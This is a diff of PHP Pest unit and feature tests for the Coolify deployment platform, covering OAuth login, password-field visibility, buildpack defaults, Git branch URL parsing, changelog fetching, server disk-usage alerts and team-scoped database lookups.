|
||||
$token = makeNonRootMcpToken($this->user, $this->team, ['read']);
|
||||
|
||||
$response = test()->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token,
|
||||
])->postJson('/api/v1/mcp/enable');
|
||||
|
||||
$response->assertStatus(403);
|
||||
});
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,16 @@
|
||||
<?php
|
||||
|
||||
it('strips leftover x-cloak after wire:navigate to prevent blank page', function () {
|
||||
$appJs = file_get_contents(resource_path('js/app.js'));
|
||||
|
||||
expect($appJs)
|
||||
->toContain("document.addEventListener('livewire:navigated'")
|
||||
->toContain("querySelectorAll('[x-cloak]')")
|
||||
->toContain("removeAttribute('x-cloak')");
|
||||
});
|
||||
|
||||
it('keeps the initial-load x-cloak guard on the app wrapper', function () {
|
||||
$layout = file_get_contents(resource_path('views/layouts/app.blade.php'));
|
||||
|
||||
expect($layout)->toContain('x-cloak');
|
||||
});
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\New\GithubPrivateRepository;
|
||||
use App\Livewire\Project\New\GithubPrivateRepositoryDeployKey;
|
||||
use App\Livewire\Project\New\PublicGitRepository;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
describe('new application buildpack defaults', function () {
|
||||
test('github app repository flow defaults to nixpacks', function () {
|
||||
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
|
||||
->assertSet('build_pack', 'nixpacks');
|
||||
});
|
||||
|
||||
test('deploy key repository flow defaults to nixpacks', function () {
|
||||
Livewire::test(GithubPrivateRepositoryDeployKey::class, ['type' => 'private-deploy-key'])
|
||||
->assertSet('build_pack', 'nixpacks');
|
||||
});
|
||||
|
||||
test('public repository flow defaults to nixpacks and lists railpack second', function () {
|
||||
Livewire::test(PublicGitRepository::class, ['type' => 'public'])
|
||||
->assertSet('build_pack', 'nixpacks');
|
||||
});
|
||||
|
||||
test('public repository flow keeps railpack available after branch lookup', function () {
|
||||
Livewire::test(PublicGitRepository::class, ['type' => 'public'])
|
||||
->set('branchFound', true)
|
||||
->assertSeeInOrder(['Nixpacks', 'Railpack (Beta)']);
|
||||
});
|
||||
|
||||
test('deploy key repository flow shows railpack beta label in build pack selector without beta badge', function () {
|
||||
Livewire::test(GithubPrivateRepositoryDeployKey::class, ['type' => 'private-deploy-key'])
|
||||
->set('current_step', 'repository')
|
||||
->assertSee('Railpack (Beta)');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,79 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\OauthSetting;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Laravel\Socialite\Facades\Socialite;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::create([
|
||||
'id' => 0,
|
||||
'is_registration_enabled' => false,
|
||||
]);
|
||||
|
||||
OauthSetting::create([
|
||||
'provider' => 'google',
|
||||
'client_id' => 'client-id',
|
||||
'client_secret' => 'client-secret',
|
||||
'redirect_uri' => 'https://coolify.example.com/auth/google/callback',
|
||||
'tenant' => 'example.com',
|
||||
]);
|
||||
});
|
||||
|
||||
it('logs in an existing user when the oauth provider returns a mixed-case email', function () {
|
||||
config()->set('app.maintenance.driver', 'file');
|
||||
|
||||
$user = User::factory()->create([
|
||||
'email' => 'username@example.edu',
|
||||
]);
|
||||
|
||||
$provider = Mockery::mock();
|
||||
$provider->shouldReceive('setConfig')->once()->andReturnSelf();
|
||||
$provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf();
|
||||
$provider->shouldReceive('user')->once()->andReturn((object) [
|
||||
'email' => 'UserName@example.edu',
|
||||
'name' => 'Example User',
|
||||
'id' => 'google-user-id',
|
||||
]);
|
||||
|
||||
Socialite::shouldReceive('driver')->once()->with('google')->andReturn($provider);
|
||||
|
||||
$response = $this->get(route('auth.callback', 'google'));
|
||||
|
||||
$response->assertRedirect('/');
|
||||
$this->assertAuthenticatedAs($user);
|
||||
expect(User::count())->toBe(1);
|
||||
});
|
||||
|
||||
it('rejects oauth logins when the provider does not return an email address', function (?string $providerEmail) {
|
||||
config()->set('app.maintenance.driver', 'file');
|
||||
InstanceSettings::firstOrCreate([
|
||||
'id' => 0,
|
||||
], [
|
||||
'is_registration_enabled' => false,
|
||||
])->update([
|
||||
'is_registration_enabled' => true,
|
||||
]);
|
||||
|
||||
$provider = Mockery::mock();
|
||||
$provider->shouldReceive('setConfig')->once()->andReturnSelf();
|
||||
$provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf();
|
||||
$provider->shouldReceive('user')->once()->andReturn((object) [
|
||||
'email' => $providerEmail,
|
||||
'name' => 'Example User',
|
||||
'id' => 'google-user-id',
|
||||
]);
|
||||
|
||||
Socialite::shouldReceive('driver')->once()->with('google')->andReturn($provider);
|
||||
|
||||
$response = $this->from('/login')->get(route('auth.callback', 'google'));
|
||||
|
||||
$response->assertRedirect('/login');
|
||||
expect(User::count())->toBe(0);
|
||||
})->with([
|
||||
'null email' => [null],
|
||||
'blank email' => [' '],
|
||||
]);
|
||||
@@ -0,0 +1,73 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\MessageBag;
|
||||
use Illuminate\Support\ViewErrorBag;
|
||||
|
||||
beforeEach(function () {
|
||||
$errors = new ViewErrorBag;
|
||||
$errors->put('default', new MessageBag);
|
||||
view()->share('errors', $errors);
|
||||
});
|
||||
|
||||
it('renders password input with Alpine-managed visibility state', function () {
|
||||
$html = Blade::render('<x-forms.input type="password" id="secret" />');
|
||||
|
||||
expect($html)
|
||||
->toContain('@success.window="type = \'password\'"')
|
||||
->toContain("x-data=\"{ type: 'password' }\"")
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->toContain('x-bind:type="type"')
|
||||
->toContain("x-bind:class=\"{ 'truncate': type === 'text' && ! \$el.disabled }\"")
|
||||
->not->toContain('changePasswordFieldType');
|
||||
});
|
||||
|
||||
it('renders password input before visibility toggle in tab order', function () {
|
||||
$html = Blade::render('<x-forms.input type="password" id="secret" />');
|
||||
|
||||
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
|
||||
});
|
||||
|
||||
it('renders password textarea with Alpine-managed visibility state', function () {
|
||||
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
|
||||
|
||||
expect($html)
|
||||
->toContain('@success.window="type = \'password\'"')
|
||||
->toContain("x-data=\"{ type: 'password' }\"")
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->not->toContain('changePasswordFieldType');
|
||||
});
|
||||
|
||||
it('renders password textarea input before visibility toggle in tab order', function () {
|
||||
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
|
||||
|
||||
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
|
||||
});
|
||||
|
||||
it('renders textarea without monospace classes by default', function () {
|
||||
$html = Blade::render('<x-forms.textarea id="notes" />');
|
||||
|
||||
expect($html)
|
||||
->toContain('class="input scrollbar"')
|
||||
->not->toContain('font-mono');
|
||||
});
|
||||
|
||||
it('renders textarea with monospace classes when requested', function () {
|
||||
$html = Blade::render('<x-forms.textarea id="variables" monospace />');
|
||||
|
||||
expect($html)->toContain('class="input scrollbar font-mono"');
|
||||
});
|
||||
|
||||
it('resets password visibility on success event for env-var-input', function () {
|
||||
$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
|
||||
|
||||
expect($html)
|
||||
->toContain("@success.window=\"type = 'password'\"")
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->toContain('x-bind:type="type"');
|
||||
});
|
||||
|
||||
it('renders env var password input before visibility toggle in tab order', function () {
|
||||
$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
|
||||
|
||||
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
|
||||
});
|
||||
@@ -0,0 +1,68 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Fortify\CreateNewUser;
|
||||
use App\Actions\Proxy\StartProxy;
|
||||
use App\Models\Server;
|
||||
use App\Models\SharedEnvironmentVariable;
|
||||
use App\Models\SslCertificate;
|
||||
use App\Models\Team;
|
||||
use Database\Seeders\ProductionSeeder;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('creates the root team before seeding the localhost server and predefined shared variables', function () {
|
||||
config([
|
||||
'broadcasting.default' => 'log',
|
||||
'constants.coolify.is_windows_docker_desktop' => true,
|
||||
]);
|
||||
Queue::fake();
|
||||
StartProxy::shouldRun()->andReturn('OK');
|
||||
|
||||
Server::creating(function (Server $server) {
|
||||
if ((int) $server->getKey() === 0) {
|
||||
expect(Team::find(0))->not->toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
Server::created(function (Server $server) {
|
||||
SslCertificate::create([
|
||||
'server_id' => $server->id,
|
||||
'common_name' => 'Coolify CA Certificate',
|
||||
'ssl_certificate' => 'certificate',
|
||||
'ssl_private_key' => 'private-key',
|
||||
'valid_until' => now()->addYear(),
|
||||
'is_ca_certificate' => true,
|
||||
]);
|
||||
});
|
||||
|
||||
$this->seed(ProductionSeeder::class);
|
||||
|
||||
$rootTeam = Team::find(0);
|
||||
$localhostServer = Server::find(0);
|
||||
|
||||
expect($rootTeam)->not->toBeNull()
|
||||
->and($localhostServer)->not->toBeNull()
|
||||
->and($localhostServer->team_id)->toBe(0);
|
||||
|
||||
expect(SharedEnvironmentVariable::query()
|
||||
->where('type', 'server')
|
||||
->where('server_id', 0)
|
||||
->where('team_id', 0)
|
||||
->pluck('key')
|
||||
->all()
|
||||
)->toContain('COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME');
|
||||
|
||||
instanceSettings()->update(['is_registration_enabled' => true]);
|
||||
|
||||
$rootUser = app(CreateNewUser::class)->create([
|
||||
'name' => 'Root User',
|
||||
'email' => 'root@example.com',
|
||||
'password' => 'Password123!',
|
||||
'password_confirmation' => 'Password123!',
|
||||
]);
|
||||
|
||||
expect(Team::whereKey(0)->count())->toBe(1)
|
||||
->and($rootUser->teams()->where('team_id', 0)->exists())->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,43 @@
|
||||
<?php
|
||||
|
||||
it('adds profile navigation with an appearance tab and route', function () {
|
||||
$routes = file_get_contents(base_path('routes/web.php'));
|
||||
$profileNavbar = file_get_contents(resource_path('views/components/profile/navbar.blade.php'));
|
||||
$profileView = file_get_contents(resource_path('views/livewire/profile/index.blade.php'));
|
||||
|
||||
expect($routes)
|
||||
->toContain("Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance')")
|
||||
->and($profileNavbar)
|
||||
->toContain('route(\'profile\')')
|
||||
->toContain('route(\'profile.appearance\')')
|
||||
->toContain('General')
|
||||
->toContain('Appearance')
|
||||
->and($profileView)
|
||||
->toContain('<x-profile.navbar />')
|
||||
->not->toContain('<h1>Profile</h1>\n <div class="subtitle -mt-2">');
|
||||
});
|
||||
|
||||
it('moves appearance preferences to the profile appearance view', function () {
|
||||
$appearanceView = file_get_contents(resource_path('views/livewire/profile/appearance.blade.php'));
|
||||
|
||||
expect($appearanceView)
|
||||
->toContain('<x-profile.navbar />')
|
||||
->toContain("setTheme('light')")
|
||||
->toContain("setTheme('system')")
|
||||
->toContain("setTheme('dark')")
|
||||
->toContain("setWidth('center')")
|
||||
->toContain("setWidth('full')")
|
||||
->toContain("setZoom('100')")
|
||||
->toContain("setZoom('90')")
|
||||
->toContain('aria-label="Use light theme"')
|
||||
->toContain('aria-label="Use system theme"')
|
||||
->toContain('aria-label="Use dark theme"')
|
||||
->toContain('aria-label="Use centered width"')
|
||||
->toContain('aria-label="Use full width"')
|
||||
->toContain('aria-label="Use 100 percent zoom"')
|
||||
->toContain('aria-label="Use 90 percent zoom"')
|
||||
->toContain('max-w-2xl')
|
||||
->toContain('class="space-y-1.5"')
|
||||
->toContain('gap-1.5')
|
||||
->toContain('px-2 py-1 text-sm');
|
||||
});
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
use Spatie\Url\Url;
|
||||
|
||||
/**
|
||||
* Tests for branch name parsing from Git repository URLs.
|
||||
* Verifies that branch names containing slashes (e.g., fix/something)
|
||||
* are correctly extracted from URLs like /tree/fix/something.
|
||||
*/
|
||||
function parseBranchFromUrl(string $url): array
|
||||
{
|
||||
$parsed = Url::fromString($url);
|
||||
$branch = 'main';
|
||||
$baseDirectory = '/';
|
||||
|
||||
if ($parsed->getSegment(3) === 'tree') {
|
||||
$path = str($parsed->getPath())->trim('/');
|
||||
$branch = str($path)->after('tree/')->value();
|
||||
$baseDirectory = '/';
|
||||
}
|
||||
|
||||
return [
|
||||
'branch' => $branch,
|
||||
'base_directory' => $baseDirectory,
|
||||
'repository' => $parsed->getSegment(1).'/'.$parsed->getSegment(2),
|
||||
];
|
||||
}
|
||||
|
||||
test('parses simple branch from GitHub URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/andrasbacsai/coolify-examples/tree/main');
|
||||
|
||||
expect($result['branch'])->toBe('main');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
expect($result['repository'])->toBe('andrasbacsai/coolify-examples');
|
||||
});
|
||||
|
||||
test('parses branch with slash from GitHub URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/andrasbacsai/coolify-examples-1/tree/fix/8854-env-var-fallback-volume');
|
||||
|
||||
expect($result['branch'])->toBe('fix/8854-env-var-fallback-volume');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
expect($result['repository'])->toBe('andrasbacsai/coolify-examples-1');
|
||||
});
|
||||
|
||||
test('parses branch with multiple slashes from GitHub URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/user/repo/tree/feature/team/new-widget');
|
||||
|
||||
expect($result['branch'])->toBe('feature/team/new-widget');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
});
|
||||
|
||||
test('defaults to main branch when no tree segment in URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/andrasbacsai/coolify-examples');
|
||||
|
||||
expect($result['branch'])->toBe('main');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
});
|
||||
|
||||
test('parses version-style branch with slash from GitHub URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/coollabsio/coolify-examples/tree/release/v2.0');
|
||||
|
||||
expect($result['branch'])->toBe('release/v2.0');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
});
|
||||
|
||||
test('parses branch from non-GitHub URL with tree segment', function () {
|
||||
$result = parseBranchFromUrl('https://gitlab.com/user/repo/tree/hotfix/critical-bug');
|
||||
|
||||
expect($result['branch'])->toBe('hotfix/critical-bug');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
});
|
||||
@@ -0,0 +1,72 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\PullChangelog;
|
||||
use Illuminate\Support\Facades\File;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
|
||||
/**
|
||||
* Fake releases land in a month that no real release uses, so the generated
|
||||
* changelog file never collides with committed changelogs.
|
||||
*/
|
||||
function fakeReleasesPayload(): array
|
||||
{
|
||||
return [
|
||||
[
|
||||
'tag_name' => 'v9.9.9',
|
||||
'name' => 'Test Release',
|
||||
'body' => 'Released notes here.',
|
||||
'draft' => false,
|
||||
'published_at' => '1999-01-15T00:00:00Z',
|
||||
],
|
||||
[
|
||||
'tag_name' => 'v9.9.8-draft',
|
||||
'name' => 'Draft Release',
|
||||
'body' => 'Should be skipped.',
|
||||
'draft' => true,
|
||||
'published_at' => '1999-01-10T00:00:00Z',
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
afterEach(function () {
|
||||
File::delete(base_path('changelogs/1999-01.json'));
|
||||
});
|
||||
|
||||
test('releases_url config defaults to the GitHub raw source', function () {
|
||||
expect(config('constants.coolify.releases_url'))
|
||||
->toBe('https://raw.githubusercontent.com/coollabsio/coolify-cdn/main/json/releases.json');
|
||||
});
|
||||
|
||||
test('PullChangelog fetches from the configured releases_url and writes the changelog', function () {
|
||||
config(['constants.coolify.releases_url' => 'https://example.test/releases.json']);
|
||||
|
||||
Http::fake([
|
||||
'https://example.test/releases.json' => Http::response(fakeReleasesPayload(), 200),
|
||||
]);
|
||||
|
||||
(new PullChangelog)->handle();
|
||||
|
||||
Http::assertSent(fn ($request) => $request->url() === 'https://example.test/releases.json');
|
||||
|
||||
$path = base_path('changelogs/1999-01.json');
|
||||
expect(File::exists($path))->toBeTrue();
|
||||
|
||||
$data = json_decode(File::get($path), true);
|
||||
expect($data['entries'])->toHaveCount(1)
|
||||
->and($data['entries'][0]['tag_name'])->toBe('v9.9.9');
|
||||
});
|
||||
|
||||
test('PullChangelog skips draft releases', function () {
|
||||
config(['constants.coolify.releases_url' => 'https://example.test/releases.json']);
|
||||
|
||||
Http::fake([
|
||||
'https://example.test/releases.json' => Http::response(fakeReleasesPayload(), 200),
|
||||
]);
|
||||
|
||||
(new PullChangelog)->handle();
|
||||
|
||||
$data = json_decode(File::get(base_path('changelogs/1999-01.json')), true);
|
||||
|
||||
$tags = array_column($data['entries'], 'tag_name');
|
||||
expect($tags)->not->toContain('v9.9.8-draft');
|
||||
});
|
||||
@@ -1,17 +1,19 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('database last_online_at is updated when status unchanged', function () {
|
||||
test('database last_online_at is not updated when status is unchanged', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
$database = createPushUpdatePostgresql($team, [
|
||||
'status' => 'running:healthy',
|
||||
'last_online_at' => now()->subMinutes(5),
|
||||
]);
|
||||
@@ -40,15 +42,13 @@ test('database last_online_at is updated when status unchanged', function () {
|
||||
|
||||
$database->refresh();
|
||||
|
||||
// last_online_at should be updated even though status didn't change
|
||||
expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue();
|
||||
expect((string) $database->last_online_at)->toBe((string) $oldLastOnline);
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
test('database status is updated when container status changes', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
$database = createPushUpdatePostgresql($team, [
|
||||
'status' => 'exited',
|
||||
]);
|
||||
|
||||
@@ -79,8 +79,7 @@ test('database status is updated when container status changes', function () {
|
||||
|
||||
test('database is not marked exited when containers list is empty', function () {
|
||||
$team = Team::factory()->create();
|
||||
$database = StandalonePostgresql::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
$database = createPushUpdatePostgresql($team, [
|
||||
'status' => 'running:healthy',
|
||||
]);
|
||||
|
||||
@@ -99,3 +98,31 @@ test('database is not marked exited when containers list is empty', function ()
|
||||
// Status should remain running, NOT be set to exited
|
||||
expect($database->status)->toBe('running:healthy');
|
||||
});
|
||||
|
||||
function createPushUpdatePostgresql(Team $team, array $attributes = []): StandalonePostgresql
|
||||
{
|
||||
$lastOnlineAt = $attributes['last_online_at'] ?? null;
|
||||
unset($attributes['last_online_at']);
|
||||
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$destination = StandaloneDocker::where('server_id', $server->id)->first()
|
||||
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$database = StandalonePostgresql::create(array_merge([
|
||||
'uuid' => (string) str()->uuid(),
|
||||
'name' => 'postgres-'.str()->random(8),
|
||||
'postgres_password' => 'secret',
|
||||
'status' => 'exited',
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
'environment_id' => $environment->id,
|
||||
], $attributes));
|
||||
|
||||
if ($lastOnlineAt !== null) {
|
||||
$database->forceFill(['last_online_at' => $lastOnlineAt])->saveQuietly();
|
||||
}
|
||||
|
||||
return $database;
|
||||
}
|
||||
@@ -16,10 +16,29 @@ beforeEach(function () {
|
||||
Cache::flush();
|
||||
});
|
||||
|
||||
it('dispatches storage check when disk percentage changes', function () {
|
||||
it('dispatches storage check when disk percentage changes above threshold', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Default notification threshold is 80%.
|
||||
$data = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 85],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
|
||||
return $job->server->id === $server->id && $job->percentage === 85;
|
||||
});
|
||||
});
|
||||
|
||||
it('does not dispatch storage check when disk usage is below threshold', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// 45% is well below the default 80% notification threshold — nothing to do.
|
||||
$data = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 45],
|
||||
@@ -28,8 +47,39 @@ it('dispatches storage check when disk percentage changes', function () {
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertNotPushed(ServerStorageCheckJob::class);
|
||||
});
|
||||
|
||||
it('clears stale storage cache when disk usage drops below threshold', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$storageCacheKey = 'storage-check:'.$server->id;
|
||||
|
||||
Cache::put($storageCacheKey, 85, 600);
|
||||
|
||||
$belowThresholdData = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 45],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $belowThresholdData);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertNotPushed(ServerStorageCheckJob::class);
|
||||
expect(Cache::missing($storageCacheKey))->toBeTrue();
|
||||
|
||||
Queue::fake();
|
||||
|
||||
$aboveThresholdData = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 85],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $aboveThresholdData);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
|
||||
return $job->server->id === $server->id && $job->percentage === 45;
|
||||
return $job->server->id === $server->id && $job->percentage === 85;
|
||||
});
|
||||
});
|
||||
|
||||
@@ -37,12 +87,12 @@ it('does not dispatch storage check when disk percentage is unchanged', function
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Simulate a previous push that cached the percentage
|
||||
Cache::put('storage-check:'.$server->id, 45, 600);
|
||||
// Simulate a previous push that cached the percentage (above threshold).
|
||||
Cache::put('storage-check:'.$server->id, 85, 600);
|
||||
|
||||
$data = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 45],
|
||||
'filesystem_usage_root' => ['used_percentage' => 85],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
@@ -55,19 +105,19 @@ it('dispatches storage check when disk percentage changes from cached value', fu
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
// Simulate a previous push that cached 45%
|
||||
Cache::put('storage-check:'.$server->id, 45, 600);
|
||||
// Simulate a previous push that cached 85% (above threshold).
|
||||
Cache::put('storage-check:'.$server->id, 85, 600);
|
||||
|
||||
$data = [
|
||||
'containers' => [],
|
||||
'filesystem_usage_root' => ['used_percentage' => 50],
|
||||
'filesystem_usage_root' => ['used_percentage' => 90],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
|
||||
return $job->server->id === $server->id && $job->percentage === 50;
|
||||
return $job->server->id === $server->id && $job->percentage === 90;
|
||||
});
|
||||
});
|
||||
|
||||
@@ -140,6 +190,36 @@ it('dispatches ConnectProxyToNetworksJob again after cache expires', function ()
|
||||
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
|
||||
});
|
||||
|
||||
it('respects the configured proxy connect interval', function () {
|
||||
// Interval 0 → the connect-proxy gate key expires immediately, so every
|
||||
// push re-dispatches without a manual Cache::forget. Proves the TTL is
|
||||
// driven by config('constants.proxy.connect_networks_interval_seconds').
|
||||
config(['constants.proxy.connect_networks_interval_seconds' => 0]);
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$server->settings->update(['is_reachable' => true, 'is_usable' => true]);
|
||||
|
||||
$data = [
|
||||
'containers' => [
|
||||
[
|
||||
'name' => 'coolify-proxy',
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => ['coolify.managed' => true],
|
||||
],
|
||||
],
|
||||
'filesystem_usage_root' => ['used_percentage' => 10],
|
||||
];
|
||||
|
||||
(new PushServerUpdateJob($server, $data))->handle();
|
||||
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
|
||||
|
||||
Queue::fake();
|
||||
(new PushServerUpdateJob($server, $data))->handle();
|
||||
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
|
||||
});
|
||||
|
||||
it('uses default queue for PushServerUpdateJob', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
@@ -4,17 +4,21 @@ use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('containers with empty service subId are skipped', function () {
|
||||
$server = Server::factory()->create();
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
$serviceApp = ServiceApplication::create([
|
||||
'service_id' => $service->id,
|
||||
'uuid' => (string) str()->uuid(),
|
||||
'name' => 'app-'.str()->random(8),
|
||||
]);
|
||||
|
||||
$data = [
|
||||
@@ -44,12 +48,15 @@ test('containers with empty service subId are skipped', function () {
|
||||
});
|
||||
|
||||
test('containers with valid service subId are processed', function () {
|
||||
$server = Server::factory()->create();
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
$serviceApp = ServiceApplication::create([
|
||||
'service_id' => $service->id,
|
||||
'uuid' => (string) str()->uuid(),
|
||||
'name' => 'app-'.str()->random(8),
|
||||
]);
|
||||
|
||||
$data = [
|
||||
|
||||
@@ -0,0 +1,70 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->teamB = Team::factory()->create();
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->destinationA = StandaloneDocker::where('server_id', $this->serverA->id)->first();
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->envA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
});
|
||||
|
||||
test('queryDatabaseByUuidWithinTeam returns database when team owns it', function () {
|
||||
$database = StandalonePostgresql::create([
|
||||
'name' => 'pg-team-a',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $this->envA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => $this->destinationA->getMorphClass(),
|
||||
]);
|
||||
|
||||
$found = queryDatabaseByUuidWithinTeam($database->uuid, (string) $this->teamA->id);
|
||||
|
||||
expect($found)->not->toBeNull();
|
||||
